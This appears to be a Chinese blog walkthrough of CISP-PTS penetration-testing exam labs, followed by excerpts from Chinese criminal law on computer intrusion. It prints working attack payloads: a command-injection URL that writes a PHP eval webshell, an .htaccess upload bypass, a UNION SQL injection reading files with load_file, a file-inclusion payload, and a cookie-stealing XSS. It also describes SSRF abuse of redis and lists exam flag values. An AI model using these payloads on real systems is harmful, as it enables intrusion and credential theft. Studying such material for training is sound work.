这里使用考试时的操作机再详解一遍

访问vul.php，直接返回了以下页面，

是需要我们来审计这段代码从而找出可以利用的地方

代码如下：

为了方便大家理解，首先给每行代码每一行写上注释

如下图:

从注释的代码，我们可以逐步分析该代码块的业务逻辑

1、定义一个文件夹路径的变量

2、创建该文件夹

3、切换到该文件夹工作

4、判断GET方式接收的参数cmd不为空且长度不大于30，就执行该cmd命令

5、判断GET方式接收的参数reset不等于空，则删除创建的文件夹以及里面所有的内容

6、高亮显示当前php文件的所有代码

7、打印输出访问者的ip

这里显而易见，我们只要get提交cmd参数到vul.php页面，且参数长度不大于30，就会执行我们提交的命令。

首先我们需要计算出我们文件夹的路径

知道了文件夹的路径为“/usr/local/apache2/htdocs/sandbox/加上MD5加密的cisp-pts+本机IP地址”

后面的MD5值加密的文件夹名可以直接计算出来，

但是考试环境是不通外网的，所以，不能通过在线MD5等等web计算，可以通过操作机上编码工具MD5编码

最终我们得到要创建文件夹的路径为/usr/local/apache2/htdocs/sandbox/a9e8722136b72c6508d9cdb7df352ddc

直接写一个一句话木马

http://靶机/vul.php?cmd=echo+'<?php+eval($_POST['1'])?>'>1.php

但是我们的cmd参数长度明显超过了30，所以代码并不会执行我们的命令

这里可以通过追加文件的方式，分两次写入

第一次:

第二次：

注意：第二次追加数据应该是>>两个符号

这样我们就在1.php文件里面写入了我们完整的一句话木马“<?php eval($_POST['1'])?>”

用菜刀连接http://靶机/sandbox/a9e8722136b72c6508d9cdb7df352ddc/1.php

密码为1

成功连接上webshell

并且在web的根目录下找到了KEY

KEY为：DWAOdLQk

0X03 基础题目之文件上传突破

不能上传php文件

经过测试，得出结论，该上传过滤仅仅只是判断后缀名，

不会判断文件类型等等，只要包含'.p','.ph','.php'的后缀名，均无法上传

这里常规的绕过方法肯定是不行的，经测试，其他很多后缀名靶机是不过滤的，比如说htaccess[手工狗头.jpg]

这里可以通过上传.htaccess文件让php解析我们指定后缀名的文件

.htaccess文件内容如下，意思是将文件zngeek.zn当作php5来进行解析

上传.htaccess文件以及我们的一句话木马zngeek.zn

连接http://靶机/up/zngeek.zn ，密码1

在web根目录下找到了key

KEY为：uAMeHui4

0X04 基础题目之流量分析

通过提示下载流量包，导入到wireshark开始分析

首先过滤一下，仅看http的包，在这里发现了一个很可疑的包

继续往下看，发现是一个压缩文件

将字节流全部导出成压缩文件，发现需要解压密码

继续往上分析，追踪一下字节流，成功的找到了密码

密码为Adm1n%21，URL解码%21是!，所以解压密码为Adm1n!

在web目录下成功找到了KEY

KEY为：4tEm21x5

0X05 综合大题（一）

这道题有3个KEY，分别要使用到XSS攻击，SQL联合注入，以及文件包含漏洞

经过测试，发现页面post.php存在存储型xss，

这里可以直接写一个反弹cookie的xss将管理员的cookie反弹回来

在本地开启nc，监听端口9115，成功的返回了cookie

修改cookie为返回的cookie，成功进入管理后台，并且找到了KEY1=GzyD4X2J

在edit.php中发现了联合注入漏洞，直接get提交payload

id=123123/**/UniOn/**/SelEct/**/1,2,load_file(%22/var/key2%22),4#

将/var/key2文件中的key读出来，KEY2=wE58i4Z8

在setting.php中发现了文件包含漏洞

直接get提交payload

page=/tmp/key3

将/tmp/key3文件中的key读出来，KEY3=HSIC3uM7

至此，该综合题三个KEY全部找到，分别为KEY1=GzyD4X2J，KEY2=wE58i4Z8，KEY3=HSIC3uM7

0X06 综合大题（二）

本题有3个KEY，分别使用了SSRF攻击以及redis的利用

如果直接使用http://127.0.0.1/会发现被waf拦截

改成localhost后，成功绕过waf，并且在robots.txt文件中发现了一个backup.zip的文件

直接下载这个zip文件后，发现里面有一个note.txt，内容如下：

在提示中，直接SSRF 5562端口，可以得到第一个KEY=F5Qyixeq

根据第二个提示直接访问靶机IP加6738端口是无法连接上redis的

这里需要继续使用SSRF来操作redis

可以有很多种方式，这里演示两种方式，第一种写webshell，第二种写公钥连接ssh

通过SSRF逐条执行以下命令通过redis写webshell

写入成功后，直接连接webshell

http://靶机/a.php 密码为1

在web根目录下找到KEY2=01aLzgmZ

在计划任务中，可以找到KEY3=a2V5MzpWTDJvVllYMg==

base64解码得到KEY3=VL2oVYX2

下面再说一下redis写公钥连接ssh的方法

首先生成公钥和私钥

同样使用SSRF逐行写入如下命令，公钥是我们刚刚生成的公钥

然后直接ssh带上我们的私钥访问，成功连接上ssh

KEY的位置同上

当然通过写计划任务反弹shell这些方式都可以，本题主要是通过SSRF对redis的利用

至此，该综合题的三个KEY全部找到，分别为KEY1=F5Qyixeq，KEY2=01aLzgmZ，KEY3=VL2oVYX2

恭喜你，到这一步，你已经得到了10个KEY，也就是获得了满分100分。

0X07 注意事项（不定期更新）

0x061 认真核对key

操作机是通过网页远程访问的，并且操作机是不能连接广域网的，所以不能传输任何文件，

所以我们在操作机上拿到的key要在真机上填写的话，需要手动输入，务必要认真核对key是否输入正确！

0x062 Ask me

有任何问题，可以邮件联系作者 zngeek@pm.me ，或者可以在zngeek_blog留言http://www.zngeek.com

【非法侵入计算机系统罪】

Wed, 01 Jan 2020 00:00:00 +0800

任何未授权的渗透测试都属于违法行为

1、《中华人民共和国刑法》的相关规定：

第二百八十五条规定，非法侵入计算机信息系统罪；非法获取计算机信息系统数据、非法控制计算机信息系统罪；提供侵入、非法控制计算机信息系统程序、工具罪是指，违反国家规定，侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的，处三年以下有期徒刑或者拘役。

违反国家规定，侵入前款规定以外的计算机信息系统或者采用其他技术手段，获取该计算机信息系统中存储、处理或者传输的数据，或者对该计算机信息系统实施非法控制，情节严重的，处三年以下有期徒刑或者拘役，并处或者单处罚金；情节特别严重的，处三年以上七年以下有期徒刑，并处罚金。

提供专门用于侵入、非法控制计算机信息系统的程序、工具，或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具，情节严重的，依照前款的规定处罚。

单位犯前三款罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人员，依照各该款的规定处罚。

2、相关司法解释：

最高人民法院、最高人民检察院《关于办理危害计算机信息系统安全刑事案件应用法律若干问题的解释》：

为依法惩治危害计算机信息系统安全的犯罪活动，根据《中华人民共和国刑法》、《全国人民代表大会常务委员会关于维护互联网安全的决定》的规定，现就办理这类刑事案件应用法律的若干问题解释如下：

第一条

非法获取计算机信息系统数据或者非法控制计算机信息系统，具有下列情形之一的，应当认定为刑法第二百八十五条第二款规定的“情节严重”：

（一）获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息十组以上的；

（二）获取第（一）项以外的身份认证信息五百组以上的；

（三）非法控制计算机信息系统二十台以上的；

（四）违法所得五千元以上或者造成经济损失一万元以上的；

（五）其他情节严重的情形。

实施前款规定行为，具有下列情形之一的，应当认定为刑法第二百八十五条第二款规定的“情节特别严重”：

（一）数量或者数额达到前款第（一）项至第（四）项规定标准五倍以上的；

（二）其他情节特别严重的情形。

明知是他人非法控制的计算机信息系统，而对该计算机信息系统的控制权加以利用的，依照前两款的规定定罪处罚。

第二条

具有下列情形之一的程序、工具，应当认定为刑法第二百八十五条第三款规定的“专门用于侵入、非法控制计算机信息系统的程序、工具”：

（一）具有避开或者突破计算机信息系统安全保护措施，未经授权或者超越授权获取计算机信息系统数据的功能的；

（二）具有避开或者突破计算机信息系统安全保护措施，未经授权或者超越授权对计算机信息系统实施控制的功能的；

（三）其他专门设计用于侵入、非法控制计算机信息系统、非法获取计算机信息系统数据的程序、工具。

第三条

提供侵入、非法控制计算机信息系统的程序、工具，具有下列情形之一的，应当认定为刑法第二百八十五条第三款规定的“情节严重”：

（一）提供能够用于非法获取支付结算、证券交易、期货交易等网络金融服务身份认证信息的专门性程序、工具五人次以上的；

（二）提供第（一）项以外的专门用于侵入、非法控制计算机信息系统的程序、工具二十人次以上的；

（三）明知他人实施非法获取支付结算、证券交易、期货交易等网络金融服务身份认证信息的违法犯罪行为而为其提供程序、工具五人次以上的；

（四）明知他人实施第（三）项以外的侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具二十人次以上的；

（五）违法所得五千元以上或者造成经济损失一万元以上的；

（六）其他情节严重的情形。

实施前款规定行为，具有下列情形之一的，应当认定为提供侵入、非法控制计算机信息系统的程序、工具“情节特别严重”：

（一）数量或者数额达到前款第（一）项至第（五）项规定标准五倍以上的；

（二）其他情节特别严重的情形。

第四条

破坏计算机信息系统功能、数据或者应用程序，具有下列情形之一的，应当认定为刑法第二百八十六条第一款和第二款规定的“后果严重”：

（一）造成十台以上计算机信息系统的主要软件或者硬件不能正常运行的；

（二）对二十台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的；

（三）违法所得五千元以上或者造成经济损失一万元以上的；

（四）造成为一百台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为一万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的；

（五）造成其他严重后果的。

实施前款规定行为，具有下列情形之一的，应当认定为破坏计算机信息系统“后果特别严重”：

（一）数量或者数额达到前款第（一）项至第（三）项规定标准五倍以上的；

（二）造成为五百台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为五万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的；

（三）破坏国家机关或者金融、电信、交通、教育、医疗、能源等领域提供公共服务的计算机信息系统的功能、数据或者应用程序，致使生产、生活受到严重影响或者造成恶劣社会影响的；

（四）造成其他特别严重后果的。

第五条

具有下列情形之一的程序，应当认定为刑法第二百八十六条第三款规定的“计算机病毒等破坏性程序”：

（一）能够通过网络、存储介质、文件等媒介，将自身的部分、全部或者变种进行复制、传播，并破坏计算机系统功能、数据或者应用程序的；

（二）能够在预先设定条件下自动触发，并破坏计算机系统功能、数据或者应用程序的；

（三）其他专门设计用于破坏计算机系统功能、数据或者应用程序的程序。

第六条

故意制作、传播计算机病毒等破坏性程序，影响计算机系统正常运行，具有下列情形之一的，应当认定为刑法第二百八十六条第三款规定的“后果严重”：

（一）制作、提供、传输第五条第（一）项规定的程序，导致该程序通过网络、存储介质、文件等媒介传播的；

（二）造成二十台以上计算机系统被植入第五条第（二）、（三）项规定的程序的；

（三）提供计算机病毒等破坏性程序十人次以上的；

（四）违法所得五千元以上或者造成经济损失一万元以上的；

（五）造成其他严重后果的。

实施前款规定行为，具有下列情形之一的，应当认定为破坏计算机信息系统“后果特别严重”：

（一）制作、提供、传输第五条第（一）项规定的程序，导致该程序通过网络、存储介质、文件等媒介传播，致使生产、生活受到严重影响或者造成恶劣社会影响的；

（二）数量或者数额达到前款第（二）项至第（四）项规定标准五倍以上的；

（三）造成其他特别严重后果的。

第七条

明知是非法获取计算机信息系统数据犯罪所获取的数据、非法控制计算机信息系统犯罪所获取的计算机信息系统控制权，而予以转移、收购、代为销售或者以其他方法掩饰、隐瞒，违法所得五千元以上的，应当依照刑法第三百一十二条第一款的规定，以掩饰、隐瞒犯罪所得罪定罪处罚。

实施前款规定行为，违法所得五万元以上的，应当认定为刑法第三百一十二条第一款规定的“情节严重”。

单位实施第一款规定行为的，定罪量刑标准依照第一款、第二款的规定执行。

第八条

以单位名义或者单位形式实施危害计算机信息系统安全犯罪，达到本解释规定的定罪量刑标准的，应当依照刑法第二百八十五条、第二百八十六条的规定追究直接负责的主管人员和其他直接责任人员的刑事责任。

第九条

明知他人实施刑法第二百八十五条、第二百八十六条规定的行为，具有下列情形之一的，应当认定为共同犯罪，依照刑法第二百八十五条、第二百八十六条的规定处罚：

（一）为其提供用于破坏计算机信息系统功能、数据或者应用程序的程序、工具，违法所得五千元以上或者提供十人次以上的；

（二）为其提供互联网接入、服务器托管、网络存储空间、通讯传输通道、费用结算、交易服务、广告服务、技术培训、技术支持等帮助，违法所得五千元以上的；

（三）通过委托推广软件、投放广告等方式向其提供资金五千元以上的。

实施前款规定行为，数量或者数额达到前款规定标准五倍以上的，应当认定为刑法第二百八十五条、第二百八十六条规定的“情节特别严重”或者“后果特别严重”。

第十条

对于是否属于刑法第二百八十五条、第二百八十六条规定的“国家事务、国防建设、尖端科学技术领域的计算机信息系统”、“专门用于侵入、非法控制计算机信息系统的程序、工具”、“计算机病毒等破坏性程序”难以确定的，应当委托省级以上负责计算机信息系统安全保护管理工作的部门检验。司法机关根据检验结论，并结合案件具体情况认定。

第十一条

本解释所称“计算机信息系统”和“计算机系统”，是指具备自动处理数据功能的系统，包括计算机、网络设备、通信设备、自动化控制设备等。

本解释所称“身份认证信息”，是指用于确认用户在计算机信息系统上操作权限的数据，包括账号、口令、密码、数字证书等。

本解释所称“经济损失”，包括危害计算机信息系统犯罪行为给用户直接造成的经济损失，以及用户为恢复数据、功能而支出的必要费用。

量刑标准：

根据《中华人民共和国刑法》第285条第1款的规定，犯本罪的，处3年以下有期徒刑或者拘役。单位犯本罪的，对单位判处罚金，并对其直接负责的主管人员和其他直接责任人员，依照上述规定处罚。